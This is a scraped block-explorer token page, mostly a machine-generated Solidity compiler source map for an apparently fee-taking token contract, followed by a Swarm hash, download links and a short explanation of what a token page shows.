7480:18;;;7473:30;7539:34;7519:18;;;7512:62;-1:-1:-1;;;7590:18:1;;;7583:35;7635:19;;20368:60:0;7259:401:1;20368:60:0;20472:11;;;;;;;;20461:7;;:22;;;;:57;;-1:-1:-1;20502:16:0;;-1:-1:-1;;;20502:16:0;;;;20501:17;20461:57;:95;;;;-1:-1:-1;20543:13:0;;-1:-1:-1;;;;;20535:21:0;;;20543:13;;20535:21;;20461:95;:133;;;;-1:-1:-1;20573:21:0;;-1:-1:-1;;;20573:21:0;;;;20461:133;20444:443;;;20700:4;20651:28;17290:16;;;:7;:16;;;;;;20747:12;;20724:35;;20721:78;;;-1:-1:-1;20785:12:0;;20721:78;20813:7;:11;;-1:-1:-1;;20813:11:0;;;20839:36;20854:20;20839:14;:36::i;:::-;20620:267;20444:443;-1:-1:-1;;;;;20961:24:0;;20907:12;20961:24;;;:18;:24;;;;;;20922:4;;20907:12;20961:24;;;:50;;-1:-1:-1;;;;;;20989:22:0;;;;;;:18;:22;;;;;;;;20961:50;20958:239;;;21037:5;21027:15;;20958:239;;;21097:13;;-1:-1:-1;;;;;21097:13:0;;;21089:21;;;;21086:72;;-1:-1:-1;21138:4:0;21086:72;21174:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;20958:239;21209:48;21224:4;21230:2;21234:6;21242:7;21251:5;21209:14;:48::i;:::-;19633:1634;;19530:1737;;;:::o;1291:206::-;1377:7;1438:12;1430:6;;;;1422:29;;;;-1:-1:-1;;;1422:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1473:5:0;;;1291:206::o;863:98::-;921:7;948:5;952:1;948;:5;:::i;:::-;941:12;863:98;-1:-1:-1;;;863:98:0:o;17829:165::-;17920:4;17871:28;17290:16;;;:7;:16;;;;;;17950:36;17290:16;17950:14;:36::i;:::-;17860:134;17829:165::o;21409:1027::-;15830:16;:23;;-1:-1:-1;;;;15830:23:0;-1:-1:-1;;;15830:23:0;;;21548:12:::1;::::0;15830:23;;21563:3:::1;::::0;21525:35:::1;::::0;:20;:35:::1;:::i;:::-;:41;;;;:::i;:::-;21500:66;;21601:14;21591:7;;:24;;;;:::i;:::-;21581:7;:34:::0;14248:42:::1;21653:20;::::0;:7:::1;:20;::::0;;;:37:::1;::::0;21676:14;;21653:37:::1;:::i;:::-;21630:7;:20;::::0;;:60;21746:4:::1;21630:20;21730:22:::0;;;21630:20;21730:22;;;:39:::1;::::0;21755:14;;21730:39:::1;:::i;:::-;21721:4;21705:22;::::0;;;:7:::1;:22;::::0;;;;:64;;;;21843:17:::1;::::0;21863:3:::1;::::0;21820:40:::1;::::0;:20;:40:::1;:::i;:::-;:46;;;;:::i;:::-;21798:68;;21881:19;21943:3;21926:15;;21903:20;:38;;;;:::i;:::-;:43;;;;:::i;:::-;21881:65;;21961:25;22032:3;22012:17;;21989:20;:40;;;;:::i;:::-;:46;;;;:::i;:::-;21961:74:::0;-1:-1:-1;22050:20:0::1;21961:74:::0;22073:25:::1;22087:11:::0;22073;:25:::1;:::i;:::-;:45;;;;:::i;:::-;22138:15;::::0;22050:68;;-1:-1:-1;;;;22138:15:0;::::1;;;22135:88;;;22215:7;::::0;22205:4:::1;17263:7:::0;17290:16;;;:7;:16;;;;;;22187:36:::1;;;;:::i;:::-;22172:51;;22135:88;22240:30;22257:12;22240:16;:30::i;:::-;22354:16;::::0;22305:21:::1;::::0;22341:41:::1;::::0;-1:-1:-1;;;;;22354:16:0::1;22305:21:::0;22341:12:::1;:41::i;:::-;-1:-1:-1::0;;22397:15:0::1;:23:::0;;-1:-1:-1;;;;15876:24:0;;;-1:-1:-1;;;;;21409:1027:0:o;23766:1992::-;23911:7;23907:1842;;23940:20;;-1:-1:-1;;;23940:20:0;;;;23936:787;;;24002:20;;23980:19;;-1:-1:-1;;;24002:20:0;;;;:37;;24038:1;24002:37;;;24025:10;24002:37;-1:-1:-1;;;;;24076:15:0;;;;;;:7;:15;;;;;;23980:59;;;;;;-1:-1:-1;24076:23:0;;24092:7;;24076:23;:::i;:::-;-1:-1:-1;;;;;24058:15:0;;;;;;;:7;:15;;;;;;:41;;;;24118:20;:28;;-1:-1:-1;;;;24118:28:0;;;24186:18;;;;;;;:26;;24205:7;;24186:26;:::i;:::-;-1:-1:-1;;;;;24165:18:0;;;;;;:7;:18;;;;;;:47;;;;24272:4;24256:22;;;;:34;;24279:11;;24256:34;:::i;:::-;24247:4;24231:22;;;;:7;:22;;;;;;;:59;;;;24309:15;:22;;-1:-1:-1;;;;24309:22:0;-1:-1:-1;;;24309:22:0;;;24355:36;-1:-1:-1;;;;;24355:36:0;;;;;;;;-1:-1:-1;;;;;;;;;;;24355:36:0;;;24383:7;1966:25:1;;1954:2;1939:18;;1820:177;24355:36:0;;;;;;;;23961:464;23907:1842;;23936:787;-1:-1:-1;;;;;24464:15:0;;;;;;:7;:15;;;;;;:23;;24480:7;;24464:23;:::i;:::-;-1:-1:-1;;;;;24446:15:0;;;;;;;:7;:15;;;;;;:41;;;;24523:18;;;;;;;:26;;24542:7;;24523:26;:::i;:::-;-1:-1:-1;;;;;24502:18:0;;;;;;;:7;:18;;;;;;;:47;;;;24569:36;;;;;;-1:-1:-1;;;;;;;;;;;24569:36:0;;;24597:7;1966:25:1;;1954:2;1939:18;;1820:177;24569:36:0;;;;;;;;-1:-1:-1;;;;;;;24625:24:0;;;24622:67;;24682:7;24674;;:15;;;;:::i;:::-;24664:7;:25;24622:67;23907:1842;;;24749:5;24745:1004;;;24772:14;24809:3;24797:11;;24789:7;:19;;;;:::i;:::-;:23;;;;:::i;:::-;24772:40;-1:-1:-1;24827:23:0;24853:14;24772:40;24853:7;:14;:::i;:::-;-1:-1:-1;;;;;24902:15:0;;;;;;:7;:15;;;;;;24827:40;;-1:-1:-1;24902:23:0;;24918:7;;24902:23;:::i;:::-;-1:-1:-1;;;;;24884:15:0;;;;;;;:7;:15;;;;;;:41;;;;24961:18;;;;;;;:34;;24980:15;;24961:34;:::i;:::-;-1:-1:-1;;;;;24940:18:0;;;;;;:7;:18;;;;;;:55;;;;25051:4;25035:22;;;;:29;;25058:6;;25035:29;:::i;:::-;25026:4;25010:22;;;;:7;:22;;;;;;;;;:54;;;;25087:44;1966:25:1;;;-1:-1:-1;;;;;25087:44:0;;;;;;;;-1:-1:-1;;;;;;;;;;;25087:44:0;1939:18:1;25087:44:0;;;;;;;-1:-1:-1;;;;;;;25151:24:0;;;25148:75;;25208:15;25200:7;;:23;;;;:::i;:::-;25190:7;:33;25148:75;24755:498;;24745:1004;;;25276:15;25315:3;25302:12;;25294:7;:20;;;;:::i;:::-;:24;;;;:::i;:::-;25276:42;-1:-1:-1;25333:23:0;25359:15;25276:42;25359:7;:15;:::i;:::-;-1:-1:-1;;;;;25409:15:0;;;;;;:7;:15;;;;;;25333:41;;-1:-1:-1;25409:23:0;;25425:7;;25409:23;:::i;:::-;-1:-1:-1;;;;;25391:15:0;;;;;;;:7;:15;;;;;;:41;;;;25468:18;;;;;;;:34;;25487:15;;25468:34;:::i;:::-;-1:-1:-1;;;;;25447:18:0;;;;;;:7;:18;;;;;;:55;;;;25558:4;25542:22;;;;:30;;25565:7;;25542:30;:::i;:::-;25533:4;25517:22;;;;:7;:22;;;;;;;;;:55;;;;25595:44;1966:25:1;;;-1:-1:-1;;;;;25595:44:0;;;;;;;;-1:-1:-1;;;;;;;;;;;25595:44:0;1939:18:1;25595:44:0;;;;;;;-1:-1:-1;;;;;;;25659:24:0;;;25656:75;;25716:15;25708:7;;:23;;;;:::i;:::-;25698:7;:33;25656:75;25259:490;;23766:1992;;;;;:::o;22444:474::-;22536:16;;;22550:1;22536:16;;;;;;;;22512:21;;22536:16;;;;;;;;;;-1:-1:-1;22536:16:0;22512:40;;22581:4;22563;22568:1;22563:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;22563:23:0;;;:7;;;;;;;;;;:23;;;;22607:15;;:22;;;-1:-1:-1;;;22607:22:0;;;;:15;;;;;:20;;:22;;;;;22563:7;;22607:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22597:4;22602:1;22597:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;22597:32:0;;;:7;;;;;;;;;:32;22672:15;;22640:62;;22657:4;;22672:15;22690:11;22640:8;:62::i;:::-;22713:15;;:197;;-1:-1:-1;;;22713:197:0;;-1:-1:-1;;;;;22713:15:0;;;;:66;;:197;;22794:11;;22713:15;;22837:4;;22864;;22884:15;;22713:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22499:419;22444:474;:::o;21279:122::-;21364:23;;-1:-1:-1;;;;;21364:15:0;;;:23;;;;;21380:6;;21364:23;;;;21380:6;21364:15;:23;;;;;;;;;;;;;;;;;;;14:597:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:316::-;693:6;701;709;762:2;750:9;741:7;737:23;733:32;730:52;;;778:1;775;768:12;730:52;-1:-1:-1;;801:23:1;;;871:2;856:18;;843:32;;-1:-1:-1;922:2:1;907:18;;;894:32;;616:316;-1:-1:-1;616:316:1:o;937:131::-;-1:-1:-1;;;;;1012:31:1;;1002:42;;992:70;;1058:1;1055;1048:12;1073:315;1141:6;1149;1202:2;1190:9;1181:7;1177:23;1173:32;1170:52;;;1218:1;1215;1208:12;1170:52;1257:9;1244:23;1276:31;1301:5;1276:31;:::i;:::-;1326:5;1378:2;1363:18;;;;1350:32;;-1:-1:-1;;;1073:315:1:o;2002:456::-;2079:6;2087;2095;2148:2;2136:9;2127:7;2123:23;2119:32;2116:52;;;2164:1;2161;2154:12;2116:52;2203:9;2190:23;2222:31;2247:5;2222:31;:::i;:::-;2272:5;-1:-1:-1;2329:2:1;2314:18;;2301:32;2342:33;2301:32;2342:33;:::i;:::-;2002:456;;2394:7;;-1:-1:-1;;;2448:2:1;2433:18;;;;2420:32;;2002:456::o;2860:247::-;2919:6;2972:2;2960:9;2951:7;2947:23;2943:32;2940:52;;;2988:1;2985;2978:12;2940:52;3027:9;3014:23;3046:31;3071:5;3046:31;:::i;3336:388::-;3404:6;3412;3465:2;3453:9;3444:7;3440:23;3436:32;3433:52;;;3481:1;3478;3471:12;3433:52;3520:9;3507:23;3539:31;3564:5;3539:31;:::i;:::-;3589:5;-1:-1:-1;3646:2:1;3631:18;;3618:32;3659:33;3618:32;3659:33;:::i;:::-;3711:7;3701:17;;;3336:388;;;;;:::o;4446:184::-;4516:6;4569:2;4557:9;4548:7;4544:23;4540:32;4537:52;;;4585:1;4582;4575:12;4537:52;-1:-1:-1;4608:16:1;;4446:184;-1:-1:-1;4446:184:1:o;4635:127::-;4696:10;4691:3;4687:20;4684:1;4677:31;4727:4;4724:1;4717:15;4751:4;4748:1;4741:15;4767:168;4807:7;4873:1;4869;4865:6;4861:14;4858:1;4855:21;4850:1;4843:9;4836:17;4832:45;4829:71;;;4880:18;;:::i;:::-;-1:-1:-1;4920:9:1;;4767:168::o;4940:217::-;4980:1;5006;4996:132;;5050:10;5045:3;5041:20;5038:1;5031:31;5085:4;5082:1;5075:15;5113:4;5110:1;5103:15;4996:132;-1:-1:-1;5142:9:1;;4940:217::o;5449:277::-;5516:6;5569:2;5557:9;5548:7;5544:23;5540:32;5537:52;;;5585:1;5582;5575:12;5537:52;5617:9;5611:16;5670:5;5663:13;5656:21;5649:5;5646:32;5636:60;;5692:1;5689;5682:12;6077:128;6117:3;6148:1;6144:6;6141:1;6138:13;6135:39;;;6154:18;;:::i;:::-;-1:-1:-1;6190:9:1;;6077:128::o;7665:175::-;7702:3;7746:4;7739:5;7735:16;7775:4;7766:7;7763:17;7760:43;;7783:18;;:::i;:::-;7832:1;7819:15;;7665:175;-1:-1:-1;;7665:175:1:o;7845:125::-;7885:4;7913:1;7910;7907:8;7904:34;;;7918:18;;:::i;:::-;-1:-1:-1;7955:9:1;;7845:125::o;8107:127::-;8168:10;8163:3;8159:20;8156:1;8149:31;8199:4;8196:1;8189:15;8223:4;8220:1;8213:15;8239:251;8309:6;8362:2;8350:9;8341:7;8337:23;8333:32;8330:52;;;8378:1;8375;8368:12;8330:52;8410:9;8404:16;8429:31;8454:5;8429:31;:::i;8495:980::-;8757:4;8805:3;8794:9;8790:19;8836:6;8825:9;8818:25;8862:2;8900:6;8895:2;8884:9;8880:18;8873:34;8943:3;8938:2;8927:9;8923:18;8916:31;8967:6;9002;8996:13;9033:6;9025;9018:22;9071:3;9060:9;9056:19;9049:26;;9110:2;9102:6;9098:15;9084:29;;9131:1;9141:195;9155:6;9152:1;9149:13;9141:195;;;9220:13;;-1:-1:-1;;;;;9216:39:1;9204:52;;9311:15;;;;9276:12;;;;9252:1;9170:9;9141:195;;;-1:-1:-1;;;;;;;9392:32:1;;;;9387:2;9372:18;;9365:60;-1:-1:-1;;;9456:3:1;9441:19;9434:35;9353:3;8495:980;-1:-1:-1;;;8495:980:1:o
Swarm Source
ipfs://cab9728b7cb41925d2227087f5f4ba8abf05474d009c29063b4389280ca0b79f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.